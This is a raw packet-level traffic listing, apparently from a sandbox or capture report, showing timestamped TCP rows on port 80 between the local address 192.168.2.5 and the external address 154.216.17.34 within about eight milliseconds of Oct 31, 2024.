Oct 31, 2024 02:09:13.790350914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790360928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790371895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790383101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790385008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790394068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790406942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790416956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790416956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790436029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790441990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790452957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790460110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790462971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790473938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790482998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790484905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790522099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790533066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790544987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790549994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790560961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790571928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790575027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790581942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790591955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790596008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790602922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790618896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790647030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790802956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790813923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790824890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790834904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790848970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790852070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790859938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790872097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790883064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790894985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790925026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790942907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790955067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790966034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790977955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790987968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.790997028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.790998936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791013002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791023970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791028976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791035891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791052103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791059971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791060925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791073084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791083097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791083097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791095018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791106939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791117907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791148901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791306973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791322947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791333914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791346073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791356087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791359901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791368008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791379929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791390896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791393042 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791402102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791414976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791425943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791435003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791435003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791435957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791452885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791455030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791465998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791477919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791477919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791490078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791501045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791508913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791515112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791522980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791526079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791552067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791563034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791574955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791591883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791591883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791606903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791641951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791650057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791671991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791682959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791693926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791695118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791704893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791714907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791718960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791727066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791742086 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791742086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791754007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791764975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791774988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791785002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791785002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791796923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791809082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791810036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791821003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791831017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791831017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791841984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.791851997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791862011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.791882992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792192936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792243958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792264938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792278051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792287111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792295933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792323112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792340994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792346001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792352915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792357922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792368889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792373896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792378902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792391062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792401075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792411089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792411089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792416096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792421103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792428017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792438984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792449951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792462111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792462111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792469025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792475939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792479038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792490005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792500973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792510033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792510986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792521954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792529106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792537928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792541981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792550087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792562008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792563915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792571068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792582989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792593002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792596102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792613983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792623997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792625904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792637110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792644024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792648077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792659044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792660952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792670965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792680979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792689085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792692900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792702913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.792727947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.792733908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793322086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793335915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793346882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793358088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793370008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793380976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793394089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793401003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793401003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793411016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793411970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793425083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793435097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793441057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793447018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793457985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793469906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793472052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793481112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793489933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793493032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793504000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793533087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793545961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.793668985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793683052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.793728113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.794524908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.794575930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795058966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795094013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795106888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795106888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795133114 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795159101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795171976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795183897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795193911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795211077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795216084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795222998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795228004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795233965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795250893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795262098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795281887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795304060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795310974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795331955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795341969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795353889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795368910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795398951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795453072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795464993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795475960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795488119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795500040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795502901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795511007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795521021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795547962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795548916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795587063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795591116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795603037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795631886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795644045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795747995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795759916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795770884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795788050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795799971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795805931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795816898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795828104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795829058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795840025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795850992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795846939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795862913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795874119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795876980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795885086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795901060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795902967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795917988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795918941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795929909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795941114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795948029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795953035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.795973063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.795988083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796549082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796560049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796571016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796600103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796602964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796617985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796619892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796629906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796652079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796660900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796664953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796672106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796684027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796701908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796721935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796729088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796734095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.796761036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.796788931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797084093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797096014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797106028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797135115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797136068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797147036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797158003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797162056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797169924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797185898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797214985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797245979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797256947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797266960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797278881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797290087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797290087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797302008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797307968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797332048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797355890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797359943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797370911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797380924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797389984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797404051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797405958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797415018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797425032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797426939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.797450066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.797471046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.798048019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798065901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798077106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798086882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798099995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.798099995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798111916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798119068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.798149109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.798161030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798171997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798182964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798194885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.798214912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.798230886 CET	49982	80	192.168.2.5	154.216.17.34
